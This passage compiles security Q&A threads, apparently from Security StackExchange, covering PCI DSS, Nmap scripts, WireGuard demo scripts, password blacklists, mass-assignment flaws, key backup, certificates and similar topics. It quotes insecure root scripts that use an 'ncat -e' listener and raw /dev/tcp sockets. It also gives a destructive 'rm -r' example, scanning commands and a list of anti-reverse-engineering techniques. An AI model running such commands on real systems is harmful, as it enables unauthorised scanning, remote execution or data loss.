The difficulty with these sort of code injections is that if you are using a hosted service provider is it possible for the infections to spread between the various clients hosted.  It may not be your actual installation of WordPress that is the problem.

Another thing you can ensure is that all of your plugins and your WP is up to date.  Following the hardening procedures are another thing to help with that.

I also recommend installing the  WP BulletProof Security plugin.


Is PCI - DSS required to store only card number We need to save the credit card number in our database , but not the cvv.
Should we be PCI - DSS compliant for this or some security measures is enough.
After the save we will use that to call stripe for payment.

So should we go ahead with PCI - DSS compliance?

Yes - if you store, process or transmit cardholder data you need to comply with PCI DSS.

I’d really question your decision to store the 16-digit PAN (credit card number) in the database - Stripe has some great options that may enable you not to do this, criminals love databases containing cardholder data.


Nmap not showing NSE script results When executing the command nmap -sn -Pn --script http-robots.txt nmap.org, I get no results back from the specified NSE script "http-robots.txt.nse"!

The script should show all the "disallow" entries in the "robots.txt" file on a given target domain, but nothing shows whatsoever no matter what domain I specify! Here's the output of the command:

Starting Nmap 7.31 ( https://nmap.org ) at 2016-11-06 18:01 EET
Nmap scan report for nmap.org (45.33.49.119)
Host is up.
Other addresses for nmap.org (not scanned): 2600:3c01::f03c:91ff:fe98:ff4e
rDNS record for 45.33.49.119: ack.nmap.org

Nmap done: 1 IP address (1 host up) scanned in 1.52 seconds

Any thoughts on what the problem might be?

Drop the -sn flag to let nmap do a port scan or specify a port.

The robots.txt is specific to a HTTP service running on a given port. Without checking ports, nmap is unable to identify HTTP services where it could apply the http-robots script.

From the docs:

  With the -sn option it is possible to run a script scan without a port
  scan, only host discovery. In this case only host scripts will be
  eligible to run.

Drop the flag and you're fine:

$ nmap -Pn --script http-robots.txt.nse nmap.org

Starting Nmap 7.31 ( https://nmap.org ) at 2016-11-06 17:13 CET
Nmap scan report for nmap.org (45.33.49.119)
Host is up (0.21s latency).
Other addresses for nmap.org (not scanned): 2600:3c01::f03c:91ff:fe98:ff4e
rDNS record for 45.33.49.119: ack.nmap.org
Not shown: 991 filtered ports
PORT      STATE  SERVICE
22/tcp    open   ssh
25/tcp    open   smtp
70/tcp    closed gopher
80/tcp    open   http
113/tcp   closed ident
443/tcp   open   https
| http-robots.txt: 4 disallowed entries
| /favicon/tiles/ /favicon/dim/ /favicon/dim-nogzip/
|_/mailman/
554/tcp   open   rtsp
7070/tcp  open   realserver
31337/tcp closed Elite

If you know which ports you're looking for you can skip the enumeration:

$ nmap -p 80,443 --script http-robots.txt.nse stackexchange.com


How to avoid DDOS against Kerberos Authentication Server I have a school project where i am supposed to implement a Kerberos based infrastructure (AS, TGS and resource server).
It is already done and working, but i started thinking about how to protect the Authentication Server against DDOS and although is not a project requirement, i am very curious about how it should be done.
The Authentication Server receives the username and password in order to authenticate a user, what countermeasures should be implemented to avoid an attack?

Thank you.

Most distributed denial-of-service (DDOS) attacks are simple "throw data at the server faster than its connection can handle" attacks, and consequently cannot be dealt with at the application level.  Rather, they're mitigated at the ISP level, typically by blocking the attacking computers.

Non-distributed attacks, on the other hand, can be mitigated at the application level.  Look for ways that a client can make the server use far more resources (CPU, memory, etc.) dealing with a request than the client uses in making them: those are the possible attack vectors.  Once you've identified them, you can figure out how to deal with them through techniques such as rate-limiting, making the server more efficient, or shifting load to the client.


WireGuard: what's wrong with this automatic IP assignment WireGuard is extremely simple and fast kernel-space VPN based on modern cryptography. I want to use it in production and need automatic IP assignment for new peers. The project provides two short scripts for server and client that do just this. However it states:

  Do not use these scripts in production. They are simply a
  demonstration of how easy the wg(8) tool is at the command line, but
  by no means should you actually attempt to use these. They are
  horribly insecure and defeat the purpose of WireGuard.
                       STAY AWAY!

The scripts are:
Server:

#!/bin/bash
# SPDX-License-Identifier: GPL-2.0
#
# Copyright (C) 2015-2018 Jason A. Donenfeld <Jason@zx2c4.com>. All Rights Reserved.

if [[ -z $NCAT_REMOTE_ADDR ]]; then
    ip link del dev wg0 2>/dev/null
    set -e
    ip link add dev wg0 type wireguard
    ip address add 192.168.4.1/24 dev wg0
    wg set wg0 private-key <(wg genkey) listen-port 12912
    ip link set up dev wg0
    exec ncat -e "$(readlink -f "$0")" -k -l -p 42912 -v
fi
read -r public_key
[[ $(wg show wg0 peers | wc -l) -ge 253 ]] && wg set wg0 peer $(wg show wg0 latest-handshakes | sort -k 2 -b -n | head -n 1 | cut -f 1) remove
next_ip=$(all="$(wg show wg0 allowed-ips)"; for ((i=2; i<=254; i++)); do ip="192.168.4.$i"; [[ $all != *$ip/32* ]] && echo $ip && break; done)
wg set wg0 peer "$public_key" allowed-ips $next_ip/32 2>/dev/null && echo "OK:$(wg show wg0 private-key | wg pubkey):$(wg show wg0 listen-port):$next_ip" || echo ERROR

Client:

#!/bin/bash
# SPDX-License-Identifier: GPL-2.0
#
# Copyright (C) 2015-2018 Jason A. Donenfeld <Jason@zx2c4.com>. All Rights Reserved.

set -e
[[ $UID == 0 ]] || { echo "You must be root to run this."; exit 1; }
umask 077
trap 'rm -f /tmp/wg_private_key' EXIT INT TERM
exec 3<>/dev/tcp/demo.wireguard.com/42912
wg genkey | tee /tmp/wg_private_key | wg pubkey >&3
IFS=: read -r status server_pubkey server_port internal_ip <&3
[[ $status == OK ]]
ip link del dev wg0 2>/dev/null || true
ip link add dev wg0 type wireguard
wg set wg0 private-key /tmp/wg_private_key peer "$server_pubkey" allowed-ips 0.0.0.0/0 endpoint "demo.wireguard.com:$server_port" persistent-keepalive 25
ip address add "$internal_ip"/24 dev wg0
ip link set up dev wg0
if [ "$1" == "default-route" ]; then
    host="$(wg show wg0 endpoints | sed -n 's/.*\t\(.*\):.*/\1/p')"
    ip route add $(ip route get $host | sed '/ via [0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}/{s/^\(.* via [0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\).*/\1/}' | head -n 1) 2>/dev/null || true
    ip route add 0/1 dev wg0
    ip route add 128/1 dev wg0
fi

Questions:

What is wrong with those scripts? What is the worst case?
Is there a way to fix those issues?
Could somebody write a short comment what each line of those scripts does?

Update: the author of WireGuard has stated that "The problem is that it uses unauthenticated TCP." So what is the worst case and how can it be fixed? Can one provide this TCP socket inside of an SSH tunnel?

The problem boils down to your third point. You do not know what it does without reading it in detail and it contains quite a lot of unclean code.

It probably "just works", but if anything fails there is no error handling implemented. In addition it screen scrapes a few shell utilities without knowing if their output format is fixed. Maybe you upgrade your distribution, get a new version of one of the tools and suddenly the script fails.

  What is the worst case

Some of the output parsing fails and the next command gets garbled output and deletes /home. Not as an actual result of analyzing the script, but something which could happen with shell scripts without proper error handling and did in the past (I.e. rm -r $uninitialized/*).

The most likely error to happen is leaving you with broken network and as you have to ask for explanation of the script (which is fine. I would need to study it quite some time before fully understanding the risks of it) this would probably force you to reboot to get the system into a consistent state again.

This is not per se insecure, but it is sloppy and may be insecure. For a script which runs as root and setups important things there should be careful error handling for each thing which may fail.

The general devise is that everything has a risk of being insecure until proven to be secure. You could try to verify the script if it is secure, but it is not worth it as there are several anti-patterns (i.e. parsing output which is not guaranteed (yet) to be stable, processing IPs with regex, no cleanup when a line fails) which make it advisable to rewrite it in a more secure manner.

People may for example rely on the VPN to prevent sending confidential company data unencrypted over the internet. When the VPN script (silently) did not succeed setting up the VPN, the data may get sent insecurely.

  Is there a way to fix those issues?

Rewriting it with careful error handling after each command.
Probably in a better suited language than bash and reading the data using an API instead of screen scraping other programs.


What kind of factor is a physical signature? I'm familiar with the basics of multi-factor authentication.  Now I'm trying to understand how a physical signature, as written on, say, a check or a credit card receipt, would be classified:

Is it a knowledge factor (something you know), in that you know how to write your signature (and someone else can learn it)?
Is it a possession factor (something you have), because it's physically encoded in the muscle memory in your brain cells and the way your hand holds a pen?
Is it an inherence factor (something you are), because the ability to produce it can't be taken away from you and it's (sort of) hard to change?

I would consider a physical signature a biometric, albeit a pretty weak one. It isn't really something you have, since unlike a physical token, it cannot be stolen, or given to another (or, under most common circumstances, lost).
It isn't really something you know either, even if an attacker knows exactly what your signature looks like, he cannot necessarily reproduce it.

The idea behind a signature is individuals have different idiosyncrasies in their handwriting that is relatively difficult to replicate. Unfortunately "relatively difficult" is very far from impossible.

Edit:

Some of the other answers to this question make a good point: Most of a time a signature isn't actually used as a for of authentication (in the usual security jargon sense). When it is used as an authentication factor, however, it would be a biometric.


Banning specific passwords? There have been a couple of questions about enforcing good passwords, so I thought I'd add my own:

In addition to enforcing a minimum Shannon entropy, would it generally be a good practice to prohibit the use of specific passwords or elements outright, based on criteria such as:

Appeared at least once on SplashData's "Top 25" list ("password", "letmein", "qwerty")
Publicly famous proper name ("parishilton", "hasselhoff")
"Interesting" in the field of IT security ("correcthorsebatterystaple", "orpheanbeholderscrydoubt")
Any password previously used in our system and known to have been compromised
etc.

These are obviously all really bad choices for passwords, and yet at least the first category is bad because they're so commonly used. The lesson is obvious; don't let your users use these bad passwords.

It would be trivial to take a submitted password, strip spaces and convert all letters to lowercase, and then run a "contains" comparison with the blacklist items, subverting attempts to add entropy using spaces, capitalization, or adding additional letters/numbers. It would be a little harder, not impossible, to detect letter substitutions (perhaps a minimum Levenshtein distance). It would also be easy to store the reason why the entry is banned, and return it to the user, encouraging them to try something substantially different and hopefully more unpredictable (though such a specific reason for rejection could provide too much information if the "user" is an attacker).

Good in theory? What problems might you foresee in practice?

The theory is that you would like to run the same tools as the attacker. The attacker will run a list of "probable passwords" based on what he knows or guesses of the psychology of the users. John the Ripper is a well-known password cracking software which includes lots of "usual passwords" and rules commonly employed by users to derive witty passwords.

Your advantage is that the server code has access to the password itself when the user registered. Contrary to the attacker who must run each guess through a potentially expensive hashing process (and it can be heavy if you crank the bcrypt iteration count to its full power), your code can work on the actual stuff and do some optimizations such as, as you suggest, normalization to lowercase.

However I think this is not a very good idea on a general basis. The attacker is not restricted to openly available software; he can adjust his list of potential passwords to the actual target (e.g. using more derivations around the names of the children of the specific user whose password is under the fire of the attacker). Even keeping up with the list of "common weak passwords" is likely to be a tiresome process. Moreover, the user himself will enter the game: since password restrictions are felt as an irksome hindrance by users, they will use all their creativity to find even wittier password generation rules which evade your tests.

Enforcing complex password exclusion rules on the server is somehow fighting the attacker on his battleground, and will bring the user to the feast; the user may unfortunately (and unintentionally) help the attacker.

Therefore, I would recommend against such rules. What you need is the collaboration of the user, and you will have it by being transparent about the rules you employ; the user must be able to find a password which "passes your test" without entering a trial-and-error process. Nothing is more annoying than choosing ten successive passwords until one is finally accepted by a rigid server. You do not want to annoy the user, because an annoyed user will help attackers (he will not think about it like this, but that's the net effect). Explicit rules ("at least 8 characters, at least 1 digit") are much better for pedagogy.

And, of course, nothing beats proper education and training of users about the dangers of non-random passwords.


How to get client MAC address using Angular JS? I want to find the client MAC address using Angular JS or JavaScript. How can I do that?

You cannot get the MAC address from the machine where the browser is running on by executing Javascript (and thus also Angular.js) inside the browser. Access to this information is restricted due to the sandbox in which Javascript is executed.


How to secure cpanel? Most of us save our cpanel passwords on the browser because we log in often. If someone stole the data of the browser they will have our website .

If they log in with the password from a different location, will they be allowed to control our website ? Can't we protect cpanel based on the location of the IP address?

Or is there any other way to secure cpanel?

There are many ways to secure cPanel and WHM. If you can control over the server you can enable to PINs under the security tab. If you have ConfigServer Security & Firewall installed you can limit the logins based on ip address, country or count. If you are a cPanel user, just don't save passwords in the browser. Use a password manager with a generated password for your cPanel account.


Backup schedule for Encryption Keys How often should encryption keys be backed up?

Should this be done on the same schedule as the encrypted content/configuration? That seems excessive, as the keys do not change as often.

Perhaps only once, every time the key changes? That sounds dangerous... and I'm not sure it won't leak some cryptoinformation.

Backup is about avoiding loss of data; it is a trade-off between frequency of backups (more backups mean more work and more storage) and tolerance on loss of the most recent data. When you backup your data daily, you implicitly tolerate losing one day's worth of work. Correspondingly, there is no need to backup again data which has not changed -- as long as the previous backup is still good.

When doing regular backups, we actually combine two operations:

The new backup includes a copy of new data (data which was added or modified since the last backup).
The new backup is "fresh", hence supposedly robust. Digital media, and all media in general, tend to wear off over time.

Magnetic tapes are often said to be good for ten years or so. Modern paper lasts for a century. Old paper (when they were making it with cotton instead of wood) lasts longer, maybe a millenium (we don't really know yet). Engraved slabs of hard stone, or non-oxidable metal like gold, are best.

There two operations are distinct, and need not be necessarily combined. You want to make new copies regularly, to make sure that the stored backup is still readable; but you do not want to make too many copies of your encryption keys because encryption keys are, by definition, extremely sensitive, and multiple copies are, also by definition, at odds with confidentiality.

Since we are talking about encryption, we can use it to make the problem of backups more manageable. Typically, do it like this:

Store your encryption keys and other critical secrets in a container, say a Zip archive (the Zip file format is reasonably well documented, widely supported, and unlikely to be lost -- for long term archival, file format perennity is a serious concern).
Encrypt that file with a symmetric key (the "master key"), there again using a well-documented, open format which, come what may, could be reimplemented from scratch. OpenPGP would be convenient. The master key can be a big fat password if you prefer it that way. Make it so that it has enough entropy to withstand brute force attacks (80 bits are good, 128 bits are supreme).
Backup the encrypted file in as many places as possible. It is encrypted, so it needs not be especially protected. Keep it on some USB keys, write it in every server you have access to, put it on a Web page and let other people copy it and keep it forever.
Store the master key in two or three safe places. The master key is short, making the problem easier to deal with (that's what encryption does: it does not solve confidentiality issues, but it reduces them). For instance, write it down on a piece of paper, and keep that paper in a bank safe. Make sure that the copies are geographically separated, because floods and earthquakes do happen (usual rule of thumb is to enforce at least 300 km between copies).

For extra points, make the master key an asymmetric encryption key (say, RSA with a large enough key size to make you feel safe -- 2048 bits would be enough for me). This allows you to produce new encrypted archives when you have some new encryption keys to save, using only the public key (the public key being public, you can put it everywhere, including your Facebook account).

(I know of a deployed PKI where the root key backup uses the paper-in-a-bank-safe method. Writing is good. We can read written text from more than four thousand years ago. Can you read an 8" floppy from 1973 ?)


What unique risks does MVC model binding bring to a website? What additional vigilance is needed? From what I understand, "model binding" is where a website based on ASP.NET MVC or Ruby on Rails (there are others...) takes parameters in HTTP's GET statement and passes them as variables to code within the site.

Since GitHub (a popular FOSS site for programmers) was hacked through a model binding exploit, I'd like to know what general practices are needed to close this hole.  Specifically

What is the model binding exploit?
Are all MVC frameworks affected?
Is this something the developer must address... or can a web proxy/filter correct this?
Is there any security tooling that assists in identifying or diagnosing this problem in a given site?

Model Binding is quite a nice feature and may add a plus to the overall security if it is properly used.

Here is how it works (the code and the features apply to ASP.NET MVC but may be the same in Ruby):
Suppose you have a form in a web page:

<form action="/SendData">

  Email: <input type="text" name="email" id="email">

  Address:<input type="text" name="address" id="address">

  <input type="submit" value="Submit">

</form>

You write a class like this:

class Contact{
   String Email{get;set;}
   String Address{get;set;}
}

With model binding the function that deals with the user request can be:

public ActionResult SendData(Contact contact){
        //do something with contact.Email and contact.Address
}

As you can see, model binding automatically puts the data it received in the HTML request in an object of the type Contact.

Furthermore, you can define validation functions, by using DataAnnotations.

class Contact{
   [Required(ErrorMessage="Input email please!")]
   [RegularExpression("^some_regex"),ErrorMessage ="Error"]
   String Email{get;set;}
   [Required(ErrorMEssage="Input address please!")]
   String Address{get;set;}
}

and check it like this:

public ActionResult SendData(Contact contact){
    if(ModelState.IsValid)
    {
        //do something with contact.Email and contact.Address
    }
}

As you can see, it easy to add validation and some common mistakes(like badly written SQL Queries may be avoided).

Now to explain the problem that lead to the GitHub hack (mass binding):

What happens if you have properties in your class that do not appear in the form:

<form action="/SendData">

  Email: <input type="text" name="email" id="email">

  <input type="submit" value="Submit">

</form>

If an attacker also sends a variable with the name address, the framework will automatically bind it, without knowing that in the original form there was no such input.

In the GitHub case, the developers probably used an Object that had a property that differentiated between administrators and normal users(isAdmin for example). By sending this parameter in the login form (or another page), together with the user and password, the attacker could have gained access to administrative functionality.

There are several ways to solve this issue( blacklist binding, whitelist binding), but I recommend using Interfaces and Classes that only contain the properties from the form (or have the other attributed marked as read-only ).

Whitelist binding example:

public ActionResult SendData(
[Bind(Include="Email")]Contact contact)
{
    //...
}

Regarding the affected frameworks, probably most of them are affected (Ruby and ASP are), but this is not a vulnerability itself, it's only bad programming. As long as the programmers address this functionality properly, everything should be OK.

I don't think that an automated tool could detect this kind of problems, but a thorough code review should solve it.


Private Key Storage in a Java Desktop Application I am talking about system private keys for API, Google Analytics and etc... (not user´s private key)

Where is the best place to store it? (Java class, properties, hidden file, preferences) (Cross-platform Win, Mac and Linux)

Do I need to encrypt theses keys? I probably will need to decrypt before we start to use with third party service.

let's start with this one :

Do I need to encrypt theses keys?

1:
if you have communication machine to machine or application to application you can use encryption combine with  HMAC and initialization vector ( iv ) in this way you can make your keys safe from MITM and similar attack .

2:
but if you need to authentication to a server side  with a  none-encrypted key  in this way you can't protected them.

3: protection your application from revers engineering -> you can't sorry , but i can give you  a list of technique to  make it very very hard to reverse it  :

· Anti API Spyer

· Anti Breakpoints

· Anti CrackTools

· Anti DumperPro

· Code Encrypt

· Code Replace

· Debugger Guard

· Dynamic Encryption

· GarbageCode

· int DebugShield

· Memory Guard

· Mutator Engine

· Polymorphic Layers

· Secure API Wrapper

· Secure Entry Point

· Compression

· Metamorph

· Thread Engine monitor

you can search google for more details  about this technique.

Where is the best place to store it?

if you use the method above  to protect your application from reverse it's better to put them in private field in a class.

other wise in Linux put them in file as you know every thing in linux or UNIX is file with 600 as permission .

in windows put them in registry.

--> you can use steganography(watermarking) technique


Self-signed or CA-signed certificates in internal servers I need to enable ssl between our internal servers. With "internal servers" I mean enable ssl between a jee application server and backend server(i.e. wildfly->elasticsearch, wildfly->mongo, wildfly->mysql and so on).

So, in order to enable ssl I need to create and use a certificate. My question is straightforward: Should these certificates be:

Self-signed?
Signed by an CA?

EDIT

By other hand, I don't understand an issue related with CA-signed certificates. When you are requesting a new certificate, providers are asking you for a domain. I'm able to figure out what's it for on web platforms, but what about internal CA-signed certificates... What's this domain for?

It all depends on what you want to do.

First, unless you only have two machines and really need a cheap solution, avoid self-signed certificates. They are free and easy to generate but maintenance becomes exponentially more difficult as you add servers leading to improper behavior (blindly trusting certs permanently on every server, using certs with very long expiration, etc.).

Now, there are two other options: setting up you ow CA or using an external root.

Setting up your own CA is tricky: on one hand, it's very easy to do, on the other, it's pretty hard to do it right: there are plenty of very easy traps to fall for that will substantially decrease the security (and sometimes usability) of your PKI so it's a solution that need to be carefully planned, tested, implemented and maintained.

That said, having an internal CA (assuming it is properly setup and maintained) will give you plenty of very powerful tools for setting up internal security and it makes managing individual server certificates MUCH easier (in some situations, it can be completely automated).

The alternative is to use a commercial CA. If the following conditions are met, then it is a pretty good solution:

Your security needs falls in the standard offering (for instance, if you just want to secure web servers).
You plan to use exclusively public domains that you own (i.e. no "mycompany.local", no IP address, no "short" NetBIOS names).
You might need, at some point, to offer external access to some (or all) of your internal machines.

One final advise: avoid using a single wildcard certificates on multiple servers. That will make it harder to maintain your private keys securely and breaching a single server will leave your whole infrastructure in vulnerable.


Run fuzzer on any service or process in Linux I have seen examples of fuzzers to submit different inputs to some application or port. How can we run fuzzers on services or processes like any background process for any application? Any ideas or help will be appreciated.

Generally the goal of a fuzzer is to present an application with a variety of inputs through it's expected input sources and then measure how it responds.  I'm not sure there's value in fuzzing with the memory of a running application and then seeing what happens.

Interesting, possibly, but not valuable from a security point of view.

If the threat scenario you're concerned about has an attacker in position to read or manipulate application memory then input validation or bounds checking for that application is the least of your worries.

I would focus fuzzing on the standard input channels for your application.  For example if you're examining a web browser I would focus on these input channels:

Local system files (html pages or media)
Html content returned from a server (html pages)
Media content returned from a server (video, flash, images)
Input to the navigation bar

My guess is that if you scramble the memory of a running process it's probably just going to crash and I'm not sure if that tells you anything useful.


Is there any use in reporting backscatter and, if so, where can I do it? I've been receiving (a lot of) backscatter for ages. My hosting provider (I'm on a managed mail server) says there's not much we can do about it. I've read about BATV and looked at Spamcop's FAQ Under Construction on the topic. On SpamResource.com I've read the following that makes sense to me:

  It might be useful to report backscatter as spam via your favorite spam-reporting service. It helps to collect stats on the problem, and helps to nudge sites to fix their backscatter-generating problems.

Would you agree that this is useful? If so, do you know any spam-reporting services where I could do this reporting?

First a few thoughts about backscatter: you should differentiate between real DSN (delivery status notifications) and backscatter (where there was no original email from you to reply to). You should not fight against DSN since it's integral part of the email system, and - despite what some people say - useful most of the time.

Stopping fake bounces to emails you've never sent is not hard, and probably BATV is the most logical way to go. You must be aware of the restrictions though: you have to use your specific BATV mail relay for both inbound and outbound mail, since it is imperative that all your outbound get its keyed sender and all your inbound gets verified. If you neglect this you may get your email bounced by Sender Address Verifying (SAV) servers, or the replies to you may get bounced back by your inbound server.

Using DKIM and SPF may also help to prevent the bounces with less efficiency since it require the recipient to check the signature, but in case you're using a central relay you may implement that easily as well (and for a bonus you make it harder your mail to get spoofed).

As for reporting bounces I see no real benefit in that, even less than reporting spam individually. Most bounces contain little to no original headers, so you cannot report on the original spammer, and these mailservers have often not so professional admins with default configurations and in my experience litte room to change. The time you'd spend on reporting would be mostly wasted.


A recieved text message that was never sent on iPhone My girlfriend asked me why I texted her at 2:30 am. But I went to bed at 2am and that message was not recorded on my phone. She had an iPhone and I have a Samsung Galaxy S9. She sent me a picture of the text and yes in fact it was a message from my number but I never sent it. Can it be an old message that was sent automatically from my number? An iPhone glitch perhaps? I would like to know the reason.

I would not say this is an glitch or something like that. Basically this sounds like a spoofed text message. This technique is called "Caller id spoofing" and can be achieved in numerous ways.

  Caller ID spoofing is the practice of causing the telephone network to indicate to the receiver of a call that the originator of the call is a station other than the true originating station. For example, a caller ID display might display a phone number different from that of the telephone from which the call was placed.

So if someone knows your number he can text your girlfiend with it. Her phone believes this message came from your number and puts the message under your name. There are some free apps or websites where anyone can achieve this.


How to securely store information without a key or password? For a hypothetical situation, imagine a program that saves its user's password, then automatically signs them in without prompting them for their password again.  The password must be secured somehow, but if it were to be encrypted, wouldn't there then be an unencrypted password or key somewhere?

I know many programs that do this, but as I've been researching I've found no reliable ways to protect this data.  Computer security is usually taken very seriously, with mathematically proven algorithms for most encryptions, ssl, etc.  But with this, most of the advice I've found is to hide it somewhere in the computer, or to try to split it up or otherwise make it "difficult" to find.  That doesn't sound like very secure advise.

Is there any way for a program to securely store a password, without anything left in plaintext, and without requiring a user to input a password?  I'm sorry if this question is too open ended, but I would appreciate it if someone could at least point me in the right direction.

@Limit provides a good answer for web applications, but I'd like to answer your question for the general case.

E.G. you have an application, which you entrust with your password so it can sign you into other services. A good example would be your mail client(either on your smartphone or your desktop pc), which must store your username and password in order to authenticate with the mailserver. Another example of applications that do this would be web browsers which can store your login credentials for various websites.

These software agents need access to your plain text password, so the standard solution for keeping a password safe (password hashing) can't be used.

The short answer to your question in this case: You're entirely right, this isn't secure and your credentials can't be reliably protected (assuming you're not asked by the mail client / webbrowser to provide a master password, that is).

The longer answer: Some operating systems provide a kind of password safe, which is basically a file which contains the passwords, but the file is encrypted before storing it on disk.

In order to encrypt and decrypt, the operating system needs a key. It generates a random one and then encrypts this key with the password you use to sign into your operating system user account. Whenever you sign in, the password you entered is used to decrypt the random key. So this adds a layer of security (which can be circumvented by malware, but at least it's not enough to just look at the password file in order to steal your passwords). Of course, if you don't have any sign-in authentication configured for your os user account, this is pointless, because the OS won't have any secret from you to encrypt and decrypt the password file key with.

Operating systems which provide this password safe service for user applications are, as far as I know, in the minority. But there'a a few systems that work almost like that. For example, the KDE desktop environment on Linux provides such a password safe; it's not connected to your system user account password, so you need to provide an additional password, but just once per session. All software agents which use the password safe can then access their respective passwords.

(As an aside: Smartphone operating systems like iOS and Android provide transparent encryption of all your data on the phone. If you enable this,  it works exactly like the system I've described for encrypting the password safe - your sign-in secret (e.g. pin code, password) is used to encrypt the master key which encrypts and decrypts the stored data)


4 bytes authentication problem I have a classic security problem where Alice needs to prove its identity to Bob but with quite unusual requirements and constraints due to a M2M context.

EDITs in bold

The communication channel used between Alice and Bob has the following characteristics :

only Alice can send messages to Bob (Bob cannot talk to Alice)
messages from Alice are 4 bytes long
Bob stops listening during 10 minutes after receiving 10 messages
Alice must prove its identity using only one message if possible

Other specific requirements are :

Alice has low CPU & memory resources, Bob has high CPU & memory resources
The message must include Alice identity, but without the need to hide it
There is an unlimited number of Bob entities
There is < 4000 entities like Alice which can authenticate to any Bob
Replay attacks must be reasonably prevented (a replay can be possible during a few minutes after emission but not more)
It is ok for Bob to be fooled by brute force as long as it takes time to the adversary to do so (i.e. several days of computation or message retry)

Here is what I came up with for Alice 4 bytes message :

bits 1-20 = truncate(HMAC(date.format(dd/MM/yy hh:mm)),20)
bits 21-32 = Alice ID (12bits = 4096 IDs)

When Bob receive the message, if we allow for X minutes deviation between Alice's and Bob's clock, Bob computes

truncate(HMAC(date.format(dd/MM/yy hh:mm)),20)

for X/2 minutes after and before the reception.
So for e.g. X=10 minutes, Bob computes 10 values. If one of these values match Alice emission, Alice is authenticated.

The adversary has X / 2^20 chances to randomly generate the good message. Since Bob only listen 10 messages every 10 minutes, this would take ~73 days on average if my maths are correct (for X = 10 minutes), which is fine.

Replay attack is possible during X/2 minutes.

The higher chance of collision introduced by truncating the HMAC to 20 bits do not compromise the private key nor reduce the level of security of the process AFAIK.

I am a developer, not a security guy, is my solution reasonable and my analysis correct?
Do you see a better one ?

What matters is the respective abilities of Alice and Bob with regards to storage. In your case, you assume that neither Alice or Bob has any memory; they share a secret value (for HMAC), but they have not read-write slot to update. On the other hand, you also assume that Alice and Bob have clocks which are reasonably accurate (within a few minutes of each other).

If Alice and Bob have clocks but no memory, then your solution is reasonable. Your math is a bit off:

If Bob allows for a deviation of X minutes, then he will compute 2X+1 values, not just X.
Replay attacks are possible for up to 2X minutes or so, if Alice's clock is too early by X minutes.

If Bob has some transient memory (RAM...) then he can furthermore protect himself against replay attacks by remembering the messages received in the last 2X minutes: that way, Bob can detect replay of messages which are not too old (and old messages would be rejected because of their age).

If Alice and Bob have permanent read-write memory, then they can use a counter instead of a clock. This can make hardware implementation much easier (clocks need a constant energy supply, counters do not).

Your main mistake, though, is that you are trying to define your own protocol. This is, generally speaking, not a good idea. Instead, you should rely on existing, peer-reviewed protocols. Therefore, you want to use HOTP (for the counter-based solution) or TOTP (which internally reuses the HOTP mechanics). You are warmly encouraged to read through their respective RFC (RFC 4226 and 6238, respectively), which are nicely written.

(You were not far, though. Your proposal is quite close to TOTP. But cryptography is subtle, so using existing standards is always better.)


does openssh have a maximum packet size? RFC 4253 says of SSH:

6.1.  Maximum Packet Length
All implementations MUST be able to process packets with an uncompressed payload length of 32768 bytes or less and a total packet    size of 35000 bytes or less (including 'packet_length', 'padding_length', 'payload', 'random padding', and 'mac').  The maximum of 35000 bytes is an arbitrarily chosen value that is larger than the uncompressed length noted above.  Implementations SHOULD support longer packets, where they might be needed.  For example, if an implementation wants to send a very large number of certificates, the larger packets MAY be sent if the identification string indicates that the other party is able to process them.  However, implementations SHOULD check that the packet length is reasonable in order for the implementation to avoid denial of service and/or buffer overflow attacks.

It does not say what the maximum packet length should be but it does advise that the length should be 'reasonable'.
Cisco implementations have a 35000 bytes maximum packet length; anything larger is dropped.
I tried googling for a similar setting in OpenSSH but came out empty.
Does OpenSSH have such a limit?

If you read the code:
https://github.com/openssh/openssh-portable/blob/18813a32b6fd964037e0f5e1893cb4468ac6a758/packet.c

You will see this line:
state->max_packet_size = 32768;

Always check out the code. All I did was run a search on the Github repo for "max packet" and this was the top result.


Has HTTP bogus request type "COOK" been used in any known website attacks? An apache web server access weblog shows a request type "COOK" where POST or GET are normally found.  Is such a request part of any known web-based site attacks?

As @WhiteWinterWolf mentioned, Pepoluan answered over here on ServerFault:

  The COOK verb appears to be synonymous with the User-Agent string containing "Synapse". The term Synapse is a free TCP/IP library written in Pascal (see here: http://wiki.freepascal.org/Synapse#From_an_HTTP_server) that is used to create bots, scrapers and crawlers as well as other legitimate software.


Besides IP addresses, how else could one be identified? OP:
I'm curious how else an actor seeking to identify someone online could accomplish this task besides just using an IP address. What methods would they employ? What knowledge must they have of the target? What technology would they need access to?

Edit:
Let's break identity into domains and lets discuss each domain then. First, the client's computer. How can an attacker identify a client from his computer? I.E. what is the digital fingerprint they leave behind? (I am assuming that the attacker does not have physical access to the computer. I am inferring what digital forensics from a particular computer are exposed to the web from normal internet use)

Second, the client's cyber persona (all the email, social media and such accounts aggregated). Assuming an attacker can sprawl the web, how can they effectively assemble the pieces of a persona into a whole package that can be used to identify a particular individual.

Finally, trust on the web. Who does the client have to trust to access commonly used services such as Google and Facebook. What are the points of attack that can leak secure information to untrusted third parties.

I've included a picture:

Edit2:
After further refinement, we have arrived at a chain connected to a computer user:
Real Life Persona and Geography >>> Digital Fingerprint >>> User's Cyber Persona. An attacker shall be defined as an entity that works his way backwards first by aggregating the Cyber Persona linking it to digital fingerprints and from there to the RLPG.

The deepest question can then be broken down into first what access, tools and techniques must an attacker possess to rebuild the user's cyber persona. Second, how can they link that cyber persona to the user's digital fingerprints. And finally, how can both sets of information definitely identify a RLPG profile?

In case of web browsing your software configuration usually provides a pretty unique fingerprint that can be tracked as you browse. Check out the Panoptclick project.

Also every piece of information you post to different sites will contain information about you. For example the time of your postings will give a clue about which time zone you are in even if you don't provide any personal information.


Why is there no Domain CA? I was asked to deliver a signed SSL certificate for an IIS server for a client.
I have previously done this for the same client/domain before, so it start to seem like
an unnecessary expense to hold multiply certificates for different subdomains.

Godaddy charges around $250 for a single SSL certificate with 5 year duration.

I then started to consider a wildcard certificate, but this seem a bit unsafe as the result of a single compromise would have a worse outcome.

That makes me wonder, why there is nothing called Domain CA?

A Domain CA could be signed by a Root CA, and have the possibility to generate Subdomain certificates?

It seem logical to me, but this does not exist, and I wonder why.
Do anyone here with a clearer insight understand why no such thing exists?

In the X.509 standard (I am linking to RFC 5280 which is nominally an X.509 profile but it contains a workable copy of X.509 itself; the true X.509 standard is not free), a "Domain CA" exists. Specifically, this is a CA certificate which contains a Name Constraints extension of type "dNSName". See section 4.2.1.10, which contains this paragraph:

  DNS name restrictions are expressed as host.example.com.  Any DNS
